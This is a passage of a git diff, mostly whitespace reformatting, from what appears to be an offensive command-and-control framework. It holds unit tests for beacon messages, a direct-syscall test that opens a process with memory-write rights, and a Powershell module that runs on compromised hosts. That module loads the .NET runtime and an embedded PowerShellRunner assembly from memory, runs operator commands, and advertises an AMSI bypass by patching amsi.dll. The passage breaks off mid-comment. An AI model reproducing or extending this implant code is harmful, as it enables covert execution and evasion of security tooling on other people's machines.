"[{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}]"; + multiBundleC2Message.ParseFromArray(test.data(), test.size()); + } + { + MultiBundleC2Message multiBundleC2Message; - std::string test = "[{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"o\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}]"; - multiBundleC2Message.ParseFromArray(test.data(), test.size()); - } - { - MultiBundleC2Message multiBundleC2Message; + std::string test = "[{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"o\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}]"; + multiBundleC2Message.ParseFromArray(test.data(), test.size()); + } + { + MultiBundleC2Message multiBundleC2Message; - std::string test = "{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}]"; - multiBundleC2Message.ParseFromArray(test.data(), test.size()); - } + std::string test = "{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}]"; + multiBundleC2Message.ParseFromArray(test.data(), test.size()); + } - std::cout << " - BundleC2Message" << std::endl; - { - BundleC2Message bundleC2Message; + std::cout << " - BundleC2Message" << std::endl; + { + BundleC2Message bundleC2Message; - std::string test = "{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}"; - bundleC2Message.ParseFromArray(test.data(), test.size()); - } - { - BundleC2Message bundleC2Message; + std::string test = "{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}"; + bundleC2Message.ParseFromArray(test.data(), test.size()); + } + { + BundleC2Message bundleC2Message; - std::string test = "{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessigs\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}"; - bundleC2Message.ParseFromArray(test.data(), test.size()); - } - { - BundleC2Message bundleC2Message; + std::string test = "{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessigs\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}"; + bundleC2Message.ParseFromArray(test.data(), test.size()); + } + { + BundleC2Message bundleC2Message; - std::string test = "{\"arch\":\"x64\",\"beaconHash\3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}"; - bundleC2Message.ParseFromArray(test.data(), test.size()); - } + std::string test = "{\"arch\":\"x64\",\"beaconHash\3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}"; + bundleC2Message.ParseFromArray(test.data(), test.size()); + } - std::cout << " - C2Message" << std::endl; - { - C2Message c2Message; + std::cout << " - C2Message" << std::endl; + { + C2Message c2Message; - std::string test = "{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}"; - c2Message.ParseFromArray(test.data(), test.size()); - } - { - C2Message c2Message; + std::string test = "{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}"; + c2Message.ParseFromArray(test.data(), test.size()); + } + { + C2Message c2Message; - std::string test = "{\"args\e\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}"; - c2Message.ParseFromArray(test.data(), test.size()); - } - { - C2Message c2Message; + std::string test = "{\"args\e\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}"; + c2Message.ParseFromArray(test.data(), test.size()); + } + { + C2Message c2Message; - std::string test = "{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue"; - c2Message.ParseFromArray(test.data(), test.size()); - } + std::string test = "{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue"; + c2Message.ParseFromArray(test.data(), test.size()); + } - return 0; + return 0; } int main() { - std::cout << "unitTestsC2Message " << std::endl; - unitTestsC2Message(); + std::cout << "unitTestsC2Message " << std::endl; + unitTestsC2Message(); - std::cout << "unitTests " << std::endl; - unitTests(); + std::cout << "unitTests " << std::endl; + unitTests(); - std::cout << "unitTestsMultiBundleC2Message " << std::endl; - unitTestsMultiBundleC2Message(); - - std::cout << "multiTests " << std::endl; - multiTests(); + std::cout << "unitTestsMultiBundleC2Message " << std::endl; + unitTestsMultiBundleC2Message(); + + std::cout << "multiTests " << std::endl; + multiTests(); - std::cout << "malformed input " << std::endl; - malformedInputTests(); + std::cout << "malformed input " << std::endl; + malformedInputTests(); } \ No newline at end of file diff --git a/modules/ModuleCmd/tests/testsSyscall.cpp b/modules/ModuleCmd/tests/testsSyscall.cpp index 2d5daa5..562fafc 100644 --- a/modules/ModuleCmd/tests/testsSyscall.cpp +++ b/modules/ModuleCmd/tests/testsSyscall.cpp @@ -39,7 +39,7 @@ int main() return -1; } - + std::string destinationBuffer = "test"; std::string payload = "test"; @@ -98,7 +98,7 @@ int main() static OBJECT_ATTRIBUTES zoa = { sizeof(zoa) }; CLIENT_ID pid; pid.UniqueProcess = (HANDLE)dwPid; - pid.UniqueThread = 0; + pid.UniqueThread = 0; status = Sw3NtOpenProcess_(&handle, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, &zoa, (CLIENT_ID*)&pid); if(status!=0) { diff --git a/modules/ModuleTemplate/ModuleTemplate.cpp b/modules/ModuleTemplate/ModuleTemplate.cpp index e7522c4..1a0b3ad 100644 --- a/modules/ModuleTemplate/ModuleTemplate.cpp +++ b/modules/ModuleTemplate/ModuleTemplate.cpp @@ -31,9 +31,9 @@ __attribute__((visibility("default"))) ModuleTemplate* ModuleTemplateConstructor ModuleTemplate::ModuleTemplate() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -46,15 +46,15 @@ ModuleTemplate::~ModuleTemplate() std::string ModuleTemplate::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "moduleTemplate:\n"; - info += "ModuleTemplate for easy developement of new modules\n"; - info += "This is the help that will be display when you do 'ModuleTemplate help' or when their is an error during the init methode\n"; - info += "exemple:\n"; - info += "- moduleTemplate args\n"; + info += "moduleTemplate:\n"; + info += "ModuleTemplate for easy developement of new modules\n"; + info += "This is the help that will be display when you do 'ModuleTemplate help' or when their is an error during the init methode\n"; + info += "exemple:\n"; + info += "- moduleTemplate args\n"; #endif - return info; + return info; } @@ -62,22 +62,22 @@ std::string ModuleTemplate::getInfo() int ModuleTemplate::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if (splitedCmd.size() >= 2 ) - { - string args = "args from the splited command line"; - args = splitedCmd[1]; + if (splitedCmd.size() >= 2 ) + { + string args = "args from the splited command line"; + args = splitedCmd[1]; - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_data(args); - } - else - { - // error message deiplay if something is wrong - c2Message.set_returnvalue(getInfo()); - return -1; - } + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_data(args); + } + else + { + // error message deiplay if something is wrong + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } @@ -86,13 +86,13 @@ int ModuleTemplate::init(std::vector &splitedCmd, C2Message &c2Mess int ModuleTemplate::followUp(const C2Message &c2RetMessage) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - // check if there is an error - if(c2RetMessage.errorCode()==-1) - { - std::string args = c2RetMessage.args(); - } + // check if there is an error + if(c2RetMessage.errorCode()==-1) + { + std::string args = c2RetMessage.args(); + } #endif - return 0; + return 0; } @@ -102,20 +102,20 @@ int ModuleTemplate::followUp(const C2Message &c2RetMessage) // Method that will be trigged beacon side, the main processing method int ModuleTemplate::process(C2Message &c2Message, C2Message &c2RetMessage) { - c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_instruction(c2RetMessage.instruction()); - std::string data = c2Message.data(); - if( data == "arg1" ) - { - std::string buffer = "return value that will be shown in the client"; - c2RetMessage.set_returnvalue(buffer); - } - else - { - c2RetMessage.set_errorCode(ERROR_CODE_1); - } + std::string data = c2Message.data(); + if( data == "arg1" ) + { + std::string buffer = "return value that will be shown in the client"; + c2RetMessage.set_returnvalue(buffer); + } + else + { + c2RetMessage.set_errorCode(ERROR_CODE_1); + } - return 0; + return 0; } @@ -123,12 +123,12 @@ int ModuleTemplate::process(C2Message &c2Message, C2Message &c2RetMessage) int ModuleTemplate::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) { #ifdef BUILD_TEAMSERVER - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==ERROR_CODE_1) - errorMsg = "Failed: An error occured and that is the error message that will be display to the user"; - } + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_CODE_1) + errorMsg = "Failed: An error occured and that is the error message that will be display to the user"; + } #endif - return 0; + return 0; } diff --git a/modules/ModuleTemplate/ModuleTemplate.hpp b/modules/ModuleTemplate/ModuleTemplate.hpp index 56ff5d8..7d907f0 100644 --- a/modules/ModuleTemplate/ModuleTemplate.hpp +++ b/modules/ModuleTemplate/ModuleTemplate.hpp @@ -7,17 +7,17 @@ class ModuleTemplate : public ModuleCmd { public: - ModuleTemplate(); - ~ModuleTemplate(); + ModuleTemplate(); + ~ModuleTemplate(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); - int followUp(const C2Message &c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + int followUp(const C2Message &c2RetMessage); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } diff --git a/modules/Powershell/Powershell.cpp b/modules/Powershell/Powershell.cpp index 4a2a379..77dd8ce 100644 --- a/modules/Powershell/Powershell.cpp +++ b/modules/Powershell/Powershell.cpp @@ -29,135 +29,135 @@ __declspec(dllexport) Powershell* PowershellConstructor() typedef HRESULT(WINAPI *funcCLRCreateInstance)( - REFCLSID clsid, - REFIID riid, - LPVOID * ppInterface - ); + REFCLSID clsid, + REFIID riid, + LPVOID * ppInterface + ); typedef HRESULT (WINAPI *funcCorBindToRuntime)( - LPCWSTR pwszVersion, - LPCWSTR pwszBuildFlavor, - REFCLSID rclsid, - REFIID riid, - LPVOID* ppv); + LPCWSTR pwszVersion, + LPCWSTR pwszBuildFlavor, + REFCLSID rclsid, + REFIID riid, + LPVOID* ppv); bool createDotNetFourHost(HMODULE* hMscoree, const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost) { - HRESULT hr = NULL; - funcCLRCreateInstance pCLRCreateInstance = NULL; - ICLRMetaHost *pMetaHost = NULL; - ICLRRuntimeInfo *pRuntimeInfo = NULL; - bool hostCreated = false; + HRESULT hr = NULL; + funcCLRCreateInstance pCLRCreateInstance = NULL; + ICLRMetaHost *pMetaHost = NULL; + ICLRRuntimeInfo *pRuntimeInfo = NULL; + bool hostCreated = false; - pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(*hMscoree, "CLRCreateInstance"); - if (pCLRCreateInstance == NULL) - { - // wprintf(L"Could not find .NET 4.0 API CLRCreateInstance"); - goto Cleanup; - } + pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(*hMscoree, "CLRCreateInstance"); + if (pCLRCreateInstance == NULL) + { + // wprintf(L"Could not find .NET 4.0 API CLRCreateInstance"); + goto Cleanup; + } - hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost)); - if (FAILED(hr)) - { - // Potentially fails on .NET 2.0/3.5 machines with E_NOTIMPL - // wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr); - goto Cleanup; - } + hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost)); + if (FAILED(hr)) + { + // Potentially fails on .NET 2.0/3.5 machines with E_NOTIMPL + // wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr); + goto Cleanup; + } - hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo)); - if (FAILED(hr)) - { - // wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr); - goto Cleanup; - } + hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo)); + if (FAILED(hr)) + { + // wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr); + goto Cleanup; + } - // Check if the specified runtime can be loaded into the process. - BOOL loadable; - hr = pRuntimeInfo->IsLoadable(&loadable); - if (FAILED(hr)) - { - // wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr); - goto Cleanup; - } + // Check if the specified runtime can be loaded into the process. + BOOL loadable; + hr = pRuntimeInfo->IsLoadable(&loadable); + if (FAILED(hr)) + { + // wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr); + goto Cleanup; + } - if (!loadable) - { - // wprintf(L".NET runtime v4.0.30319 cannot be loaded\n"); - goto Cleanup; - } + if (!loadable) + { + // wprintf(L".NET runtime v4.0.30319 cannot be loaded\n"); + goto Cleanup; + } - // Load the CLR into the current process and return a runtime interface - hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost)); - if (FAILED(hr)) - { - // wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr); - goto Cleanup; - } + // Load the CLR into the current process and return a runtime interface + hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost)); + if (FAILED(hr)) + { + // wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr); + goto Cleanup; + } - hostCreated = true; + hostCreated = true; Cleanup: - if (pMetaHost) - { - pMetaHost->Release(); - pMetaHost = NULL; - } - if (pRuntimeInfo) - { - pRuntimeInfo->Release(); - pRuntimeInfo = NULL; - } + if (pMetaHost) + { + pMetaHost->Release(); + pMetaHost = NULL; + } + if (pRuntimeInfo) + { + pRuntimeInfo->Release(); + pRuntimeInfo = NULL; + } - return hostCreated; + return hostCreated; } HRESULT createDotNetTwoHost(HMODULE* hMscoree, const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost) { - HRESULT hr = NULL; - bool hostCreated = false; - funcCorBindToRuntime pCorBindToRuntime = NULL; - - pCorBindToRuntime = (funcCorBindToRuntime)GetProcAddress(*hMscoree, "CorBindToRuntime"); - if (!pCorBindToRuntime) - { - // wprintf(L"Could not find API CorBindToRuntime"); - return hostCreated; - } + HRESULT hr = NULL; + bool hostCreated = false; + funcCorBindToRuntime pCorBindToRuntime = NULL; + + pCorBindToRuntime = (funcCorBindToRuntime)GetProcAddress(*hMscoree, "CorBindToRuntime"); + if (!pCorBindToRuntime) + { + // wprintf(L"Could not find API CorBindToRuntime"); + return hostCreated; + } - hr = pCorBindToRuntime(version, L"wks", CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost)); - if (FAILED(hr)) - { - // wprintf(L"CorBindToRuntime failed w/hr 0x%08lx\n", hr); - return hostCreated; - } + hr = pCorBindToRuntime(version, L"wks", CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost)); + if (FAILED(hr)) + { + // wprintf(L"CorBindToRuntime failed w/hr 0x%08lx\n", hr); + return hostCreated; + } - hostCreated = true; + hostCreated = true; - return hostCreated; + return hostCreated; } HRESULT createHost(const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost) { - bool hostCreated = false; + bool hostCreated = false; - HMODULE hMscoree = LoadLibrary("mscoree.dll"); - - if (hMscoree) - { - if (createDotNetFourHost(&hMscoree, version, ppCorRuntimeHost)) - { - hostCreated = true; - } - else if (createDotNetTwoHost(&hMscoree, version, ppCorRuntimeHost)) - { - hostCreated = true; - } - } - - return hostCreated; + HMODULE hMscoree = LoadLibrary("mscoree.dll"); + + if (hMscoree) + { + if (createDotNetFourHost(&hMscoree, version, ppCorRuntimeHost)) + { + hostCreated = true; + } + else if (createDotNetTwoHost(&hMscoree, version, ppCorRuntimeHost)) + { + hostCreated = true; + } + } + + return hostCreated; } #else @@ -171,149 +171,149 @@ __attribute__((visibility("default"))) Powershell* PowershellConstructor() Powershell::Powershell() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { - m_firstRun=true; + m_firstRun=true; } Powershell::~Powershell() { #ifdef _WIN32 - if (pCorRuntimeHost) - { - pCorRuntimeHost->Release(); - pCorRuntimeHost = NULL; - } + if (pCorRuntimeHost) + { + pCorRuntimeHost->Release(); + pCorRuntimeHost = NULL; + } #endif } std::string Powershell::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "Powershell:\n"; - info += "Execute a powershell command.\n"; - info += "To be sure to get the output of the commande do 'cmd | write-output'.\n"; - info += "You can import module using -i, added as New-Module at every execution.\n"; - info += "You run scripts using -s.\n"; - info += "AMSI bypass by patching the amsi.dll will work once for all.\n"; - info += "exemple:\n"; - info += " - powershell whoami | write-output\n"; - info += " - powershell import-module PowerUpSQL.ps1; Get-SQLConnectionObject\n"; - info += " - powershell -i /tmp/PowerUpSQL.ps1 \n"; - info += " - powershell -s /tmp/script.ps1 \n"; + info += "Powershell:\n"; + info += "Execute a powershell command.\n"; + info += "To be sure to get the output of the commande do 'cmd | write-output'.\n"; + info += "You can import module using -i, added as New-Module at every execution.\n"; + info += "You run scripts using -s.\n"; + info += "AMSI bypass by patching the amsi.dll will work once for all.\n"; + info += "exemple:\n"; + info += " - powershell whoami | write-output\n"; + info += " - powershell import-module PowerUpSQL.ps1; Get-SQLConnectionObject\n"; + info += " - powershell -i /tmp/PowerUpSQL.ps1 \n"; + info += " - powershell -s /tmp/script.ps1 \n"; #endif - return info; + return info; } int Powershell::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if(splitedCmd.size()<2) - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + if(splitedCmd.size()<2) + { + c2Message.set_returnvalue(getInfo()); + return -1; + } - string shellCmd; - for (int i = 1; i < splitedCmd.size(); i++) - { - shellCmd += splitedCmd[i]; - shellCmd += " "; - } + string shellCmd; + for (int i = 1; i < splitedCmd.size(); i++) + { + shellCmd += splitedCmd[i]; + shellCmd += " "; + } - if(splitedCmd[1]=="-i" || splitedCmd[1]=="-s") - { - std::string inputFile; - if(splitedCmd.size()>=3) - inputFile=splitedCmd[2]; + if(splitedCmd[1]=="-i" || splitedCmd[1]=="-s") + { + std::string inputFile; + if(splitedCmd.size()>=3) + inputFile=splitedCmd[2]; - std::ifstream myfile; - myfile.open(inputFile, std::ios::binary); + std::ifstream myfile; + myfile.open(inputFile, std::ios::binary); - if(!myfile) - { - std::string newInputFile=m_scriptsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } + if(!myfile) + { + std::string newInputFile=m_scriptsDirectoryPath; + newInputFile+=inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile=newInputFile; + } - if(!myfile) - { - std::string msg = "Couldn't open file.\n"; - c2Message.set_returnvalue(msg); - return -1; - } + if(!myfile) + { + std::string msg = "Couldn't open file.\n"; + c2Message.set_returnvalue(msg); + return -1; + } - c2Message.set_inputfile(inputFile); + c2Message.set_inputfile(inputFile); - std::string payload; - std::string fileContent(std::istreambuf_iterator(myfile), {}); + std::string payload; + std::string fileContent(std::istreambuf_iterator(myfile), {}); - if(splitedCmd[1]=="-i") - { - payload = "New-Module -ScriptBlock {\n"; - payload+=fileContent; - payload +="\nExport-ModuleMember -Function * -Alias *;};"; - } - else if(splitedCmd[1]=="-s") - { - payload += "Invoke-Command -ScriptBlock {\n"; - payload += fileContent; - payload += "};"; - } + if(splitedCmd[1]=="-i") + { + payload = "New-Module -ScriptBlock {\n"; + payload+=fileContent; + payload +="\nExport-ModuleMember -Function * -Alias *;};"; + } + else if(splitedCmd[1]=="-s") + { + payload += "Invoke-Command -ScriptBlock {\n"; + payload += fileContent; + payload += "};"; + } - c2Message.set_data(payload.data(), payload.size()); + c2Message.set_data(payload.data(), payload.size()); - myfile.close(); - } + myfile.close(); + } - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_cmd(shellCmd); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_cmd(shellCmd); #endif - return 0; + return 0; } int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage) { - string cmd = c2Message.cmd(); + string cmd = c2Message.cmd(); - std::vector splitedCmd; + std::vector splitedCmd; splitList(cmd, " ", splitedCmd); - if(!splitedCmd.empty()) - { - if(splitedCmd[0]=="-i") - { - const std::string buffer = c2Message.data(); + if(!splitedCmd.empty()) + { + if(splitedCmd[0]=="-i") + { + const std::string buffer = c2Message.data(); - m_modulesToImport+=buffer; + m_modulesToImport+=buffer; - std::string outCmd = execPowershell(m_modulesToImport); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(cmd); - c2RetMessage.set_returnvalue(outCmd); - return 0; + std::string outCmd = execPowershell(m_modulesToImport); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(outCmd); + return 0; - } - } + } + } - std::string finalCmd = m_modulesToImport; - finalCmd += cmd; + std::string finalCmd = m_modulesToImport; + finalCmd += cmd; - std::string outCmd = execPowershell(finalCmd); + std::string outCmd = execPowershell(finalCmd); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(cmd); - c2RetMessage.set_returnvalue(outCmd); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(cmd); + c2RetMessage.set_returnvalue(outCmd); - return 0; + return 0; } @@ -321,90 +321,90 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage) int Powershell::initCLR(std::string& result) { - HRESULT hr; - IUnknownPtr spAppDomainThunk = NULL; - _AppDomainPtr spDefaultAppDomain = NULL; + HRESULT hr; + IUnknownPtr spAppDomainThunk = NULL; + _AppDomainPtr spDefaultAppDomain = NULL; - // The .NET assembly to load. - bstr_t bstrAssemblyName("PowerShellRunner"); - _AssemblyPtr spAssembly = NULL; + // The .NET assembly to load. + bstr_t bstrAssemblyName("PowerShellRunner"); + _AssemblyPtr spAssembly = NULL; - // The .NET class to instantiate. - bstr_t bstrClassName("PowerShellRunner.PowerShellRunner"); - // _TypePtr spType = NULL; + // The .NET class to instantiate. + bstr_t bstrClassName("PowerShellRunner.PowerShellRunner"); + // _TypePtr spType = NULL; - // Create the runtime host - if (!createHost(L"v4.0.30319", &pCorRuntimeHost)) - { - result+="Failed to create the runtime host\n"; - return -1; - } + // Create the runtime host + if (!createHost(L"v4.0.30319", &pCorRuntimeHost)) + { + result+="Failed to create the runtime host\n"; + return -1; + } - - // Start the CLR - hr = pCorRuntimeHost->Start(); - if (FAILED(hr)) - { - result+="CLR failed to start.\n"; - return -1; - } + + // Start the CLR + hr = pCorRuntimeHost->Start(); + if (FAILED(hr)) + { + result+="CLR failed to start.\n"; + return -1; + } - DWORD appDomainId = NULL; - hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk); - if (FAILED(hr)) - { - result+="RuntimeClrHost::GetCurrentAppDomainId failed.\n"; - return -1; - } + DWORD appDomainId = NULL; + hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk); + if (FAILED(hr)) + { + result+="RuntimeClrHost::GetCurrentAppDomainId failed.\n"; + return -1; + } - // Get a pointer to the default AppDomain in the CLR. - hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk); - if (FAILED(hr)) - { - result+="ICorRuntimeHost::GetDefaultDomain failed.\n"; - return -1; - } + // Get a pointer to the default AppDomain in the CLR. + hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk); + if (FAILED(hr)) + { + result+="ICorRuntimeHost::GetDefaultDomain failed.\n"; + return -1; + } - hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain)); - if (FAILED(hr)) - { - result+="Failed to get default AppDomain.\n"; - return -1; - } + hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain)); + if (FAILED(hr)) + { + result+="Failed to get default AppDomain.\n"; + return -1; + } - // Load the .NET assembly. - // (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe) - // hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly); - - // (Option 2) Load the assembly from memory - SAFEARRAYBOUND bounds[1]; - bounds[0].cElements = PowerShellRunner_dll_len; - bounds[0].lLbound = 0; + // Load the .NET assembly. + // (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe) + // hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly); + + // (Option 2) Load the assembly from memory + SAFEARRAYBOUND bounds[1]; + bounds[0].cElements = PowerShellRunner_dll_len; + bounds[0].lLbound = 0; - SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds); - SafeArrayLock(arr); - memcpy(arr->pvData, PowerShellRunner_dll, PowerShellRunner_dll_len); - SafeArrayUnlock(arr); + SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds); + SafeArrayLock(arr); + memcpy(arr->pvData, PowerShellRunner_dll, PowerShellRunner_dll_len); + SafeArrayUnlock(arr); - hr = spDefaultAppDomain->Load_3(arr, &spAssembly); + hr = spDefaultAppDomain->Load_3(arr, &spAssembly); - if (FAILED(hr)) - { - result+="Failed to load the assembly.\n"; - return -1; - } + if (FAILED(hr)) + { + result+="Failed to load the assembly.\n"; + return -1; + } - // Get the Type of 